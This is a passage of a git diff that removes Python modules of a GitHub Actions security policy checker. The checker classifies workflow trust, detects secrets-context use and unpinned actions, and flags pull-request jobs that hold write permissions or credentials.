ignored: - classes.add("untrusted-ref") - return classes - - -def trust_classes( - workflow: Mapping[str, Any], - job: Mapping[str, Any], - protected_refs: set[str], -) -> tuple[set[str], bool]: - triggers = trigger_names(workflow) - classes: set[str] = set() - class_triggers = { - "branch_protection_rule": "protected-branch", - "workflow_dispatch": "manual", - "schedule": "scheduled", - "workflow_call": "reusable", - } - if triggers & {"pull_request", "pull_request_target"}: - classes.add("untrusted-pr") - if "push" in triggers: - classes.update(_push_trust_classes(workflow, protected_refs)) - classes.update(value for key, value in class_triggers.items() if key in triggers) - return filter_trust_classes(classes, job.get("if"), protected_refs, triggers) - - -def workflow_trust_classes( - workflows: Mapping[str, Mapping[str, Any]], - protected_refs: set[str], -) -> tuple[dict[str, set[str]], set[str]]: - unsupported: set[str] = set() - classes: dict[str, set[str]] = {} - for path, workflow in workflows.items(): - classes[path], supported = trust_classes(workflow, {}, protected_refs) - if not supported: - unsupported.add(path) - changed = True - while changed: - changed = _propagate_reusable_trust(workflows, protected_refs, classes, unsupported) - return classes, unsupported - - -def _propagate_reusable_trust( - workflows: Mapping[str, Mapping[str, Any]], - protected_refs: set[str], - classes: dict[str, set[str]], - unsupported: set[str], -) -> bool: - changed = False - for path, workflow in workflows.items(): - for job_value in as_mapping(workflow.get("jobs")).values(): - job = as_mapping(job_value) - uses = job.get("uses") - if not isinstance(uses, str) or not uses.startswith("./"): - continue - target = uses.removeprefix("./") - if target not in classes: - continue - inherited, supported = trust_classes(workflow, job, protected_refs) - if not supported: - unsupported.add(path) - expanded = classes[target] | inherited - if expanded != classes[target]: - classes[target] = expanded - changed = True - return changed - - -def permissions(workflow: Mapping[str, Any], job: Mapping[str, Any]) -> tuple[dict[str, str], bool]: - value = job.get("permissions") if "permissions" in job else workflow.get("permissions") - permission_map = {str(key): str(child) for key, child in value.items()} if isinstance(value, Mapping) else {} - invalid = not isinstance(value, Mapping) or any( - level not in {"none", "read", "write"} for level in permission_map.values() - ) - return permission_map, invalid - - -def _text_secret_classes(value: str) -> tuple[set[str], bool]: - matches = [*_SECRET_DOT_RE.finditer(value), *_SECRET_BRACKET_RE.finditer(value)] - classes = { - f"secret:{(match.group(1) if match.re is _SECRET_DOT_RE else match.group(2)).lower().replace('_', '-')}" - for match in matches - } - scrubbed = list(value) - for match in matches: - scrubbed[match.start() : match.end()] = " " * (match.end() - match.start()) - unsupported = any( - _SECRET_CONTEXT_RE.search(expression.group()) is not None - for expression in _WORKFLOW_EXPRESSION_RE.finditer("".join(scrubbed)) - ) - return classes, unsupported - - -def _nested_secret_classes(values: Iterable[object]) -> tuple[set[str], bool]: - classes: set[str] = set() - unsupported = False - for child in values: - child_classes, child_unsupported = secret_classes(child) - classes.update(child_classes) - unsupported = unsupported or child_unsupported - return classes, unsupported - - -def secret_classes(value: object) -> tuple[set[str], bool]: - if isinstance(value, str): - result = _text_secret_classes(value) - elif isinstance(value, Mapping): - result = _nested_secret_classes(value.values()) - elif isinstance(value, list): - result = _nested_secret_classes(value) - else: - result = (set(), False) - return result - - -def job_credential_classes( - workflow: Mapping[str, Any], - job: Mapping[str, Any], - permission_map: Mapping[str, str], -) -> tuple[set[str], bool]: - workflow_secrets, workflow_unsupported = secret_classes(as_mapping(workflow.get("env"))) - job_context = dict(job) - job_context.pop("steps", None) - job_secrets, job_unsupported = secret_classes(job_context) - credentials = {"github-token", *workflow_secrets, *job_secrets} - if permission_map.get("id-token") == "write": - credentials.add("github-oidc") - return credentials, workflow_unsupported or job_unsupported - - -def condition_proves_protected_manual(condition: object, protected_refs: set[str]) -> bool: - expression = condition_ast(condition) - if expression is None: - return False - effective_refs = protected_refs or {"refs/heads/main"} - contexts = generic_trust_contexts(effective_refs, expression, {"workflow_dispatch"})["manual"] - unprotected = [context for context in contexts if context[_REF] not in effective_refs] - return all(True not in condition_values(expression, context) for context in unprotected) - - -__all__ = ( - "SHA40_RE", - "action_identity", - "condition_proves_protected_manual", - "filter_trust_classes", - "job_credential_classes", - "permissions", - "secret_classes", - "trigger_names", - "workflow_trust_classes", -) diff --git a/implementations/tooling/action_policy_effects.py b/implementations/tooling/action_policy_effects.py deleted file mode 100644 index 17fb8beb2..000000000 --- a/implementations/tooling/action_policy_effects.py +++ /dev/null @@ -1,144 +0,0 @@ -"""Security effects induced by one admitted action use.""" - -from __future__ import annotations - -from collections.abc import Mapping -from dataclasses import dataclass, field -from typing import Any -from urllib.parse import urlsplit - -from tools.tooling_artifact_policy_common import as_list, as_mapping, string_set - -_GITHUB_ORIGINS = {"api.github.com", "codeload.github.com", "github.com"} - - -@dataclass -class UseEffects: - origins: set[str] = field(default_factory=set) - credentials: set[str] = field(default_factory=set) - cache_roles: set[str] = field(default_factory=set) - artifact_roles: set[str] = field(default_factory=set) - input_contract_invalid: bool = False - host_join_invalid: bool = False - - -def input_condition_matches(value: object, inputs: Mapping[str, Any]) -> bool: - condition = as_mapping(value) - if not condition: - return True - name = condition.get("input") - operator = condition.get("operator") - if not isinstance(name, str): - return False - comparisons = { - "present": name in inputs, - "absent": name not in inputs, - "equals": inputs.get(name) == condition.get("value"), - "not-equals": inputs.get(name) != condition.get("value"), - } - return comparisons.get(str(operator), False) - - -def _record_security_effects(result: UseEffects, source: Mapping[str, Any], inputs: Mapping[str, Any]) -> None: - effects = as_mapping(source.get("security_effects")) - for name, allowed_values in as_mapping(effects.get("closed_inputs")).items(): - if not isinstance(name, str) or name not in inputs or inputs[name] not in as_list(allowed_values): - result.input_contract_invalid = True - collections = ( - ("credentials", "credential_class", result.credentials), - ("cache", "role", result.cache_roles), - ("artifact", "role", result.artifact_roles), - ) - for collection, key, destination in collections: - for value in as_list(effects.get(collection)): - effect = as_mapping(value) - declared = effect.get(key) - if isinstance(declared, str) and input_condition_matches(effect.get("when"), inputs): - destination.add(declared) - - -@dataclass(frozen=True) -class _EffectContext: - sources: Mapping[str, Mapping[str, Any]] - exceptions: Mapping[str, Mapping[str, Any]] - artifact_platforms: Mapping[str, list[Mapping[str, Any]]] - host_capabilities: Mapping[str, set[str]] - host_profile_id: str - - -def _record_artifact_effect(result: UseEffects, artifact_ref: object, context: _EffectContext) -> None: - if not isinstance(artifact_ref, str): - return - platforms = [ - platform - for platform in context.artifact_platforms.get(artifact_ref, []) - if context.host_profile_id in string_set(platform.get("host_profile_ids")) - ] - if not platforms: - result.host_join_invalid = True - for platform in platforms: - for source_url in as_list(platform.get("source_urls")): - if isinstance(source_url, str) and (hostname := urlsplit(source_url).hostname): - result.origins.add(hostname.lower()) - - -def _record_exception_effect(result: UseEffects, exception_ref: object, context: _EffectContext) -> None: - if not isinstance(exception_ref, str): - return - exception = as_mapping(context.exceptions.get(exception_ref)) - result.origins.update(string_set(exception.get("allowed_origins"))) - credential_class = exception.get("credential_class") - if isinstance(credential_class, str) and credential_class != "none": - result.credentials.add(credential_class) - - -def _record_transitive_effect( - result: UseEffects, - transitive_input: Mapping[str, Any], - context: _EffectContext, - pending: list[tuple[str, Mapping[str, Any]]], -) -> None: - _record_artifact_effect(result, transitive_input.get("artifact_ref"), context) - capability_ref = transitive_input.get("host_capability_ref") - capabilities = context.host_capabilities.get(context.host_profile_id, set()) - if isinstance(capability_ref, str) and capability_ref not in capabilities: - result.host_join_invalid = True - _record_exception_effect(result, transitive_input.get("service_managed_exception_ref"), context) - action_ref = transitive_input.get("action_source_ref") - if isinstance(action_ref, str): - pending.append((action_ref, {})) - - -def action_use_effects( - source_id: str, - inputs: Mapping[str, Any], - host_profile_id: str, - *, - sources: Mapping[str, Mapping[str, Any]], - exceptions: Mapping[str, Mapping[str, Any]], - artifact_platforms: Mapping[str, list[Mapping[str, Any]]], - host_capabilities: Mapping[str, set[str]], -) -> UseEffects: - result = UseEffects() - context = _EffectContext(sources, exceptions, artifact_platforms, host_capabilities, host_profile_id) - pending: list[tuple[str, Mapping[str, Any]]] = [(source_id, inputs)] - visited: set[str] = set() - while pending: - current_id, current_inputs = pending.pop() - if current_id in visited: - continue - visited.add(current_id) - source = as_mapping(sources.get(current_id)) - if not source: - result.host_join_invalid = True - continue - result.origins.update(_GITHUB_ORIGINS) - _record_security_effects(result, source, current_inputs) - for value in as_list(source.get("transitive_inputs")): - transitive_input = as_mapping(value) - if input_condition_matches(transitive_input.get("when"), current_inputs): - _record_transitive_effect(result, transitive_input, context, pending) - return result - - -__all__ = ("UseEffects", "action_use_effects") diff --git a/implementations/tooling/action_policy_job_steps.py b/implementations/tooling/action_policy_job_steps.py deleted file mode 100644 index 35dadbfee..000000000 --- a/implementations/tooling/action_policy_job_steps.py +++ /dev/null @@ -1,378 +0,0 @@ -"""Per-step effects and final workflow-job policy comparisons.""" - -from __future__ import annotations - -from collections.abc import Mapping -from dataclasses import dataclass -from typing import TYPE_CHECKING, Any - -from tools.policy.common import PolicyFailure -from tools.tooling_artifact_policy_common import SHA40_RE, as_mapping, failure, string_set - -from .action_policy_conditions import ( - action_identity, - condition_proves_protected_manual, - filter_trust_classes, - secret_classes, - trigger_names, -) -from .action_policy_effects import UseEffects, action_use_effects -from .action_policy_matrix import matrix_value - -if TYPE_CHECKING: - from .action_policy_jobs import ActionPolicyContext, _Declarations, _JobState - -_UNTRUSTED_CLASSES = {"untrusted-pr", "untrusted-ref"} -_AMBIENT_ACTION_CREDENTIALS = {"actions-artifact-token", "actions-cache-token", "github-token"} - - -def _job_failure(code: str, message: str, path: str) -> PolicyFailure: - return failure(code, message, path) - - -def _has_publication_authority(declared: Mapping[str, Any]) -> bool: - return declared.get("promotion_authority") is True or declared.get("publishing_authority") is True - - -def _step_ref(step: Mapping[str, Any], action_name: str) -> str: - return str(step.get("id") or step.get("name") or action_name) - - -def _effective_role(roles: set[str], *, kind: str) -> str: - order = ( - ("write-trusted", "write-untrusted", "restore", "none") - if kind == "cache" - else ("write-trusted", "write-untrusted", "read-same-run", "none") - ) - return next(role for role in order if role in roles) - - -@dataclass(frozen=True) -class _StepIdentity: - source_id: str - action: str - commit: str - name: str - declared: Mapping[str, Any] - - -def _step_identity( - state: _JobState, - declarations: _Declarations, - context: ActionPolicyContext, - step: Mapping[str, Any], - observed_sources: set[str], - observed_sites: set[tuple[str, str, str]], -) -> _StepIdentity | None: - identity = action_identity(step.get("uses")) - if identity is None: - state.failures.append( - _job_failure( - "tooling-action-source", - "workflow action source uses an unsupported identity form", - state.path, - ) - ) - return None - action_name, commit = identity - if not SHA40_RE.fullmatch(commit): - state.failures.append( - _job_failure( - "tooling-action-mutable", - "workflow action is not pinned to a full commit", - state.path, - ) - ) - source_entry = context.source_identities.get((action_name, commit)) - source_id = "" if source_entry is None else source_entry[0] - if source_entry is None: - state.failures.append( - _job_failure( - "tooling-action-unowned", - "workflow action source is not policy-owned", - state.path, - ) - ) - else: - observed_sources.add(source_id) - step_name = _step_ref(step, action_name) - if step_name in state.step_refs and not isinstance(step.get("id"), str): - state.failures.append( - _job_failure( - "tooling-action-use-site", - "repeated action use requires an explicit step id", - state.path, - ) - ) - state.step_refs.add(step_name) - site_key = (state.path, state.name, step_name) - observed_sites.add(site_key) - return _StepIdentity( - source_id, - action_name, - commit, - step_name, - as_mapping(declarations.sites.get(site_key)), - ) - - -def _step_effects( - state: _JobState, - context: ActionPolicyContext, - identity: _StepIdentity, - inputs: Mapping[str, Any], -) -> UseEffects: - combined = UseEffects() - for host_profile_id, matrix_row in state.runner_contexts: - concrete_inputs: dict[str, object] = {} - unresolved_matrix = False - for name, value in inputs.items(): - concrete_inputs[name], unresolved = matrix_value(value, matrix_row) - unresolved_matrix = unresolved_matrix or unresolved - effects = action_use_effects( - identity.source_id, - concrete_inputs, - host_profile_id, - sources=context.sources, - exceptions=context.exceptions, - artifact_platforms=context.artifact_platforms, - host_capabilities=context.host_capabilities, - ) - _merge_effects(combined, effects) - combined.input_contract_invalid = combined.input_contract_invalid or unresolved_matrix - return combined - - -def _merge_effects(combined: UseEffects, effects: UseEffects) -> None: - combined.origins.update(effects.origins) - combined.credentials.update(effects.credentials) - combined.cache_roles.update(effects.cache_roles) - combined.artifact_roles.update(effects.artifact_roles) - combined.input_contract_invalid = combined.input_contract_invalid or effects.input_contract_invalid - combined.host_join_invalid = combined.host_join_invalid or effects.host_join_invalid - - -def _record_effect_failures(state: _JobState, effects: UseEffects) -> None: - if effects.input_contract_invalid: - state.failures.append( - _job_failure( - "tooling-action-input-contract", - "action inputs are outside the source's closed security contract", - state.path, - ) - ) - if effects.host_join_invalid: - state.failures.append( - _job_failure( - "tooling-action-host-join", - "action payload or capability is not admitted by the concrete runner profile", - state.path, - ) - ) - - -def _step_trust_context( - state: _JobState, - context: ActionPolicyContext, - step: Mapping[str, Any], -) -> tuple[set[str], bool]: - step_trust, supported = filter_trust_classes( - state.trust_classes, - step.get("if"), - context.protected_refs, - trigger_names(state.workflow), - ) - if not supported: - state.failures.append( - _job_failure( - "tooling-action-condition", - "workflow step condition is outside the closed admission grammar", - state.path, - ) - ) - step_untrusted = bool(step_trust & _UNTRUSTED_CLASSES) - step_credentials, unsupported_secret = secret_classes(step) - state.credentials.update(step_credentials) - if step_untrusted: - state.untrusted_step_credentials.update(step_credentials) - if unsupported_secret: - state.failures.append( - _job_failure( - "tooling-action-credential", - "workflow step uses an unsupported secrets-context expression", - state.path, - ) - ) - return step_trust, step_untrusted - - -def evaluate_action_step( - state: _JobState, - declarations: _Declarations, - context: ActionPolicyContext, - step: Mapping[str, Any], - observed_sources: set[str], - observed_sites: set[tuple[str, str, str]], -) -> None: - step_trust, step_untrusted = _step_trust_context(state, context, step) - if "uses" not in step: - return - identity = _step_identity(state, declarations, context, step, observed_sources, observed_sites) - if identity is None: - return - inputs = {str(key): child for key, child in as_mapping(step.get("with")).items()} - effects = _step_effects(state, context, identity, inputs) - _record_effect_failures(state, effects) - _record_step_effects(state, identity, inputs, step_trust, step_untrusted, effects) - - -def _record_step_effects( - state: _JobState, - identity: _StepIdentity, - inputs: Mapping[str, Any], - step_trust: set[str], - step_untrusted: bool, - effects: UseEffects, -) -> None: - state.credentials.update(effects.credentials) - if step_untrusted: - state.untrusted_step_credentials.update(effects.credentials) - cache_role = _effective_role( - { - ("write-untrusted" if step_untrusted else "write-trusted") if role == "write" else role - for role in effects.cache_roles - } - | {"none"}, - kind="cache", - ) - artifact_role = _effective_role( - { - ("write-untrusted" if step_untrusted else "write-trusted") if role == "write" else role - for role in effects.artifact_roles - } - | {"none"}, - kind="artifact", - ) - state.cache_roles.add(cache_role) - state.artifact_roles.add(artifact_role) - state.origins.update(effects.origins) - state.step_records.append(_step_record(identity, inputs, step_trust, cache_role, artifact_role, effects.origins)) - if step_untrusted and cache_role not in {"none", "restore"}: - state.failures.append( - _job_failure( - "tooling-action-cache", - "pull-request action may write a shared cache", - state.path, - ) - ) - - -def _step_record( - identity: _StepIdentity, - inputs: Mapping[str, Any], - trust: set[str], - cache_role: str, - artifact_role: str, - origins: set[str], -) -> dict[str, object]: - return { - "declared": identity.declared, - "source_id": identity.source_id, - "action": identity.action, - "commit": identity.commit, - "inputs": inputs, - "trust_classes": trust, - "cache_role": cache_role, - "artifact_role": artifact_role, - "allowed_origins": origins, - } - - -def _manual_privilege_failure(state: _JobState, context: ActionPolicyContext) -> bool: - privileged = ( - state.write_permissions - or state.credentials - _AMBIENT_ACTION_CREDENTIALS - or _has_publication_authority(state.declared) - ) - protected = isinstance( - state.declared.get("protected_definition_ref"), - str, - ) and condition_proves_protected_manual( - state.job.get("if"), - context.protected_refs, - ) - return "manual" in state.trust_classes and bool(state.declared) and bool(privileged) and not protected - - -def finish_job(state: _JobState, context: ActionPolicyContext) -> None: - privileged_credentials = ( - (state.ambient_credentials if state.untrusted else set()) | state.untrusted_step_credentials - ) - _AMBIENT_ACTION_CREDENTIALS - if state.untrusted and privileged_credentials: - state.failures.append( - _job_failure( - "tooling-action-credential", - "untrusted job path can receive a secret or OIDC credential", - state.path, - ) - ) - if _manual_privilege_failure(state, context): - state.failures.append( - _job_failure( - "tooling-action-trust-boundary", - "manual privileged job lacks a protected-definition rule", - state.path, - ) - ) - if state.declared and _job_declaration_differs(state): - state.failures.append( - _job_failure( - "tooling-action-workflow-job", - "workflow job capabilities differ from action policy", - state.path, - ) - ) - for record in state.step_records: - if _step_declaration_differs(record, state.credentials): - state.failures.append( - _job_failure( - "tooling-action-use-site", - "workflow action use differs from action policy", - state.path, - ) - ) - - -def _job_declaration_differs(state: _JobState) -> bool: - declared = state.declared - return any( - ( - declared.get("runner") != state.runner, - string_set(declared.get("trust_classes")) != state.trust_classes, - as_mapping(declared.get("permissions")) != state.permission_map, - string_set(declared.get("credential_classes")) != state.credentials, - declared.get("cache_access") != _effective_role(state.cache_roles, kind="cache"), - declared.get("artifact_access") != _effective_role(state.artifact_roles, kind="artifact"), - string_set(declared.get("allowed_origins")) != state.origins, - ) - ) - - -def _step_declaration_differs(record: Mapping[str, object], credentials: set[str]) -> bool: - declared = as_mapping(record["declared"]) - return not declared or any( - ( - declared.get("source_id") != record["source_id"], - declared.get("action") != record["action"], - declared.get("commit") != record["commit"], - as_mapping(declared.get("inputs")) != record["inputs"], - string_set(declared.get("trust_classes")) != record["trust_classes"], - declared.get("cache_role") != record["cache_role"], - declared.get("artifact_role") != record["artifact_role"], - string_set(declared.get("credential_classes")) != credentials, - string_set(declared.get("allowed_origins")) != record["allowed_origins"], - ) - ) - - -__all__ = ("evaluate_action_step", "finish_job") diff --git a/implementations/tooling/action_policy_jobs.py b/implementations/tooling/action_policy_jobs.py deleted file mode 100644 index 0acfedf7b..000000000 --- a/implementations/tooling/action_policy_jobs.py +++ /dev/null @@ -1,311 +0,0 @@ -"""Workflow job and action-use admission evaluation.""" - -from __future__ import annotations - -from collections.abc import Mapping -from dataclasses import dataclass, field -from typing import Any - -from tools.policy.common import PolicyFailure -from tools.tooling_artifact_policy_common import ACTIONS_POLICY_PATH, as_list, as_mapping, failure, string_set - -from .action_policy_conditions import ( - filter_trust_classes, - job_credential_classes, - permissions, - trigger_names, - workflow_trust_classes, -) -from .action_policy_job_steps import evaluate_action_step, finish_job -from .action_policy_matrix import runner_profiles -from .action_policy_sources import safe_origins - -_UNTRUSTED_CLASSES = {"untrusted-pr", "untrusted-ref"} - - -@dataclass(frozen=True) -class ActionPolicyContext: - source_identities: Mapping[tuple[str, str], tuple[str, Mapping[str, Any]]] - sources: Mapping[str, Mapping[str, Any]] - exceptions: Mapping[str, Mapping[str, Any]] - artifact_platforms: Mapping[str, list[Mapping[str, Any]]] - host_capabilities: Mapping[str, set[str]] - profile_ids: set[str] - protected_refs: set[str] - - -@dataclass -class _Declarations: - jobs: dict[tuple[object, object], Mapping[str, Any]] = field(default_factory=dict) - sites: dict[tuple[object, object, object], Mapping[str, Any]] = field(default_factory=dict) - use_ids: set[str] = field(default_factory=set) - failures: list[PolicyFailure] = field(default_factory=list) - - -@dataclass -class _JobState: - path: str - name: str - workflow: Mapping[str, Any] - job: Mapping[str, Any] - declared: Mapping[str, Any] - trust_classes: set[str] - permission_map: dict[str, str] - runner: str - runner_contexts: list[tuple[str, dict[str, object]]] - credentials: set[str] - ambient_credentials: set[str] - write_permissions: set[str] - failures: list[PolicyFailure] = field(default_factory=list) - step_refs: set[str] = field(default_factory=set) - cache_roles: set[str] = field(default_factory=lambda: {"none"}) - artifact_roles: set[str] = field(default_factory=lambda: {"none"}) - origins: set[str] = field(default_factory=set) - step_records: list[dict[str, object]] = field(default_factory=list) - untrusted_step_credentials: set[str] = field(default_factory=set) - - @property - def untrusted(self) -> bool: - return bool(self.trust_classes & _UNTRUSTED_CLASSES) - - -def _job_failure(code: str, message: str, path: str) -> PolicyFailure: - return failure(code, message, path) - - -def _has_publication_authority(declared: Mapping[str, Any]) -> bool: - return declared.get("promotion_authority") is True or declared.get("publishing_authority") is True - - -def _declared_policy(policy: Mapping[str, Any]) -> _Declarations: - declarations = _Declarations() - for value in as_list(policy.get("workflow_jobs")): - item = as_mapping(value) - workflow_name = item.get("workflow") - job_name = item.get("job") - if not isinstance(workflow_name, str) or not isinstance(job_name, str): - continue - key = (workflow_name, job_name) - if key in declarations.jobs: - declarations.failures.append( - failure( - "tooling-action-workflow-job", - "duplicate workflow job context", - ACTIONS_POLICY_PATH, - ) - ) - declarations.jobs[key] = item - if not safe_origins(item.get("allowed_origins")): - declarations.failures.append( - failure( - "tooling-action-origin", - "workflow job contains an unsafe origin", - ACTIONS_POLICY_PATH, - ) - ) - _record_declared_sites(policy, declarations) - return declarations - - -def _record_declared_sites(policy: Mapping[str, Any], declarations: _Declarations) -> None: - for value in as_list(policy.get("use_sites")): - item = as_mapping(value) - workflow_name = item.get("workflow") - job_name = item.get("job") - step_name = item.get("step") - if not all(isinstance(name, str) for name in (workflow_name, job_name, step_name)): - continue - key = (workflow_name, job_name, step_name) - use_id = item.get("use_id") - duplicate = key in declarations.sites or isinstance(use_id, str) and use_id in declarations.use_ids - if duplicate: - declarations.failures.append( - failure( - "tooling-action-use-site", - "duplicate workflow action use site", - ACTIONS_POLICY_PATH, - ) - ) - declarations.sites[key] = item - if isinstance(use_id, str): - declarations.use_ids.add(use_id) - if not safe_origins(item.get("allowed_origins")): - declarations.failures.append( - failure( - "tooling-action-origin", - "workflow use site contains an unsafe origin", - ACTIONS_POLICY_PATH, - ) - ) - - -def _basic_job_failures( - state: _JobState, - context: ActionPolicyContext, - *, - condition_supported: bool, - invalid_permissions: bool, - invalid_runner: bool, - unsupported_secret: bool, -) -> list[PolicyFailure]: - failures: list[PolicyFailure] = [] - if not condition_supported: - failures.append( - _job_failure( - "tooling-action-condition", "job condition is outside the closed admission grammar", state.path - ) - ) - if not state.declared: - failures.append( - _job_failure("tooling-action-workflow-job", "workflow job is absent from action policy", state.path) - ) - if invalid_permissions or invalid_runner: - code = "tooling-action-runner" if invalid_runner else "tooling-action-permission" - failures.append( - _job_failure(code, "workflow uses implicit/broad permissions or an unqualified runner selector", state.path) - ) - if unsupported_secret: - failures.append( - _job_failure( - "tooling-action-credential", - "workflow uses an unsupported secrets-context expression", - state.path, - ) - ) - host_profiles = {profile_id for profile_id, _row in state.runner_contexts} - if host_profiles - context.profile_ids or host_profiles != string_set(state.declared.get("host_profile_ids")): - failures.append( - _job_failure("tooling-action-runner", "workflow runner profile is missing or stale", state.path) - ) - return failures - - -def _trust_job_failures(state: _JobState) -> list[PolicyFailure]: - failures: list[PolicyFailure] = [] - if state.untrusted and state.write_permissions: - failures.append(_job_failure("tooling-action-permission", "pull-request job has write permission", state.path)) - if state.untrusted and state.declared and _has_publication_authority(state.declared): - failures.append( - _job_failure( - "tooling-action-trust-boundary", - "pull-request job has trusted write or publication authority", - state.path, - ) - ) - return failures - - -def _prepare_job( - context: ActionPolicyContext, - declarations: _Declarations, - workflow_trust: Mapping[str, set[str]], - path: str, - workflow: Mapping[str, Any], - job_name: str, - job: Mapping[str, Any], -) -> _JobState: - trust, condition_supported = filter_trust_classes( - set(workflow_trust[path]), - job.get("if"), - context.protected_refs, - trigger_names(workflow), - ) - declared = as_mapping(declarations.jobs.get((path, job_name))) - permission_map, invalid_permissions = permissions(workflow, job) - runner, runner_contexts, invalid_runner = runner_profiles(job) - credentials, unsupported_secret = job_credential_classes(workflow, job, permission_map) - state = _JobState( - path=path, - name=job_name, - workflow=workflow, - job=job, - declared=declared, - trust_classes=trust, - permission_map=permission_map, - runner=runner, - runner_contexts=runner_contexts, - credentials=credentials, - ambient_credentials=set(credentials), - write_permissions={name for name, level in permission_map.items() if level == "write"}, - ) - state.failures.extend( - _basic_job_failures( - state, - context, - condition_supported=condition_supported, - invalid_permissions=invalid_permissions, - invalid_runner=invalid_runner, - unsupported_secret=unsupported_secret, - ) - ) - state.failures.extend(_trust_job_failures(state)) - return state - - -def job_and_use_failures( - workflows: Mapping[str, Mapping[str, Any]], - policy: Mapping[str, Any], - context: ActionPolicyContext, -) -> tuple[set[str], list[PolicyFailure]]: - declarations = _declared_policy(policy) - failures = list(declarations.failures) - observed_jobs: set[tuple[str, str]] = set() - observed_sites: set[tuple[str, str, str]] = set() - observed_sources: set[str] = set() - workflow_trust, unsupported = workflow_trust_classes(workflows, context.protected_refs) - failures.extend( - failure( - "tooling-action-condition", - "workflow condition is outside the closed admission grammar", - path, - ) - for path in sorted(unsupported) - ) - for path, workflow in workflows.items(): - for job_name, job_value in as_mapping(workflow.get("jobs")).items(): - if not isinstance(job_name, str) or not isinstance(job_value, Mapping): - failures.append(failure("tooling-action-scan", "workflow jobs must be named mappings", path)) - continue - observed_jobs.add((path, job_name)) - state = _prepare_job(context, declarations, workflow_trust, path, workflow, job_name, job_value) - for step_value in as_list(job_value.get("steps")): - if isinstance(step_value, Mapping): - evaluate_action_step( - state, - declarations, - context, - step_value, - observed_sources, - observed_sites, - ) - finish_job(state, context) - failures.extend(state.failures) - failures.extend(_stale_declaration_failures(declarations, observed_jobs, observed_sites)) - return observed_sources, failures - - -def _stale_declaration_failures( - declarations: _Declarations, - observed_jobs: set[tuple[str, str]], - observed_sites: set[tuple[str, str, str]], -) -> list[PolicyFailure]: - failures = [ - failure( - "tooling-action-workflow-job", - "action policy contains a stale workflow job", - str(path), - ) - for path, _job in sorted(set(declarations.jobs) - observed_jobs) - ] - failures.extend( - failure( - "tooling-action-use-site", - "action policy contains a stale workflow use site", - str(path), - ) - for path, _job, _step in sorted(set(declarations.sites) - observed_sites) - ) - return failures - - -__all__ = ("ActionPolicyContext", "job_and_use_failures") diff --git a/implementations/tooling/action_policy_main.py b/implementations/tooling/action_policy_main.py deleted file mode 100644 index 15f9e6f38..000000000 --- a/implementations/tooling/action_policy_main.py +++ /dev/null @@ -1,280 +0,0 @@ -"""Top-level GitHub Actions tooling policy evaluation.""" - -from __future__ import annotations - -from collections.abc import Mapping, Sequence -from pathlib import Path -from typing import Any - -from tools.policy.common import PolicyFailure -from tools.tooling_artifact_policy_common import ( - ACTIONS_POLICY_PATH, - ADMISSION_POLICY_PATH, - ARTIFACT_LOCK_PATH, - PROFILES_PATH, - as_list, - as_mapping, - failure, - string_set, - walk_forbidden_keys, -) - -from .action_policy_conditions import permissions, trigger_names -from .action_policy_jobs import ActionPolicyContext, job_and_use_failures -from .action_policy_sources import ( - declared_action_sources, - declared_exceptions, - source_closure_failures, -) -from .action_policy_yaml import parse_yaml_mapping, workflow_documents - -DEPENDABOT_PATH = ".github/dependabot.yml" - - -def _declared_local_workflows( - policy: Mapping[str, Any], -) -> tuple[dict[tuple[str, str], Mapping[str, Any]], list[PolicyFailure]]: - declared: dict[tuple[str, str], Mapping[str, Any]] = {} - failures: list[PolicyFailure] = [] - for value in as_list(policy.get("local_workflows")): - item = as_mapping(value) - path = item.get("caller_workflow") - job = item.get("caller_job") - if not isinstance(path, str) or not isinstance(job, str): - continue - key = (path, job) - if key in declared: - failures.append( - failure( - "tooling-reusable-workflow", - "duplicate local reusable-workflow call", - ACTIONS_POLICY_PATH, - ) - ) - declared[key] = item - return declared, failures - - -def _target_contract_invalid(target: Mapping[str, Any], job: Mapping[str, Any]) -> bool: - triggers = target.get("on", target.get(True)) - call = as_mapping(as_mapping(triggers).get("workflow_call")) - contract_inputs = as_mapping(call.get("inputs")) - supplied_inputs = as_mapping(job.get("with")) - required_inputs = { - name - for name, definition in contract_inputs.items() - if isinstance(name, str) and as_mapping(definition).get("required") is True - } - return bool( - set(supplied_inputs) - set(contract_inputs) - or required_inputs - set(supplied_inputs) - or as_mapping(call.get("secrets")) - ) - - -def _target_permissions_exceed( - target: Mapping[str, Any], - caller_permissions: Mapping[str, str], -) -> bool: - levels = {"none": 0, "read": 1, "write": 2} - for target_job_value in as_mapping(target.get("jobs")).values(): - target_permissions, broad = permissions(target, as_mapping(target_job_value)) - exceeds = any( - levels.get(level, 3) > levels.get(caller_permissions.get(scope, "none"), 0) - for scope, level in target_permissions.items() - ) - if broad or exceeds: - return True - return False - - -def _local_call_differs( - workflows: Mapping[str, Mapping[str, Any]], - workflow: Mapping[str, Any], - job: Mapping[str, Any], - expected: Mapping[str, Any], - uses: str, -) -> bool: - target = workflows.get(uses.removeprefix("./")) - caller_permissions, broad = permissions(workflow, job) - if target is None: - return True - return bool( - not expected - or expected.get("path") != uses - or as_mapping(expected.get("inputs")) != as_mapping(job.get("with")) - or as_mapping(expected.get("permissions")) != caller_permissions - or broad - or "workflow_call" not in trigger_names(target) - or "secrets" in job - or _target_permissions_exceed(target, caller_permissions) - or _target_contract_invalid(target, job) - ) - - -def local_workflow_failures( - workflows: Mapping[str, Mapping[str, Any]], - policy: Mapping[str, Any], -) -> list[PolicyFailure]: - declared, failures = _declared_local_workflows(policy) - observed: set[tuple[str, str]] = set() - for path, workflow in workflows.items(): - for job_name, job_value in as_mapping(workflow.get("jobs")).items(): - job = as_mapping(job_value) - uses = job.get("uses") - if not isinstance(job_name, str) or not isinstance(uses, str): - continue - if not uses.startswith("./"): - failures.append( - failure( - "tooling-reusable-workflow", - "remote reusable workflows are not admitted", - path, - ) - ) - continue - key = (path, job_name) - observed.add(key) - if _local_call_differs(workflows, workflow, job, as_mapping(declared.get(key)), uses): - failures.append( - failure( - "tooling-reusable-workflow", - "local reusable-workflow identity or call contract differs", - path, - ) - ) - failures.extend( - failure( - "tooling-reusable-workflow", - "action policy contains a stale reusable-workflow call", - str(path), - ) - for path, _job in sorted(set(declared) - observed) - ) - return failures - - -def _dependabot_failures( - repo_root: Path, - tracked_paths: Sequence[str], - policy: Mapping[str, Any], -) -> list[PolicyFailure]: - if DEPENDABOT_PATH not in tracked_paths: - return [] - document, failures = parse_yaml_mapping(repo_root, DEPENDABOT_PATH) - if document is not None and document != as_mapping(policy.get("dependabot")): - failures.append( - failure( - "tooling-action-dependabot", - "Dependabot configuration differs from the complete admitted update policy", - DEPENDABOT_PATH, - ) - ) - return failures - - -def 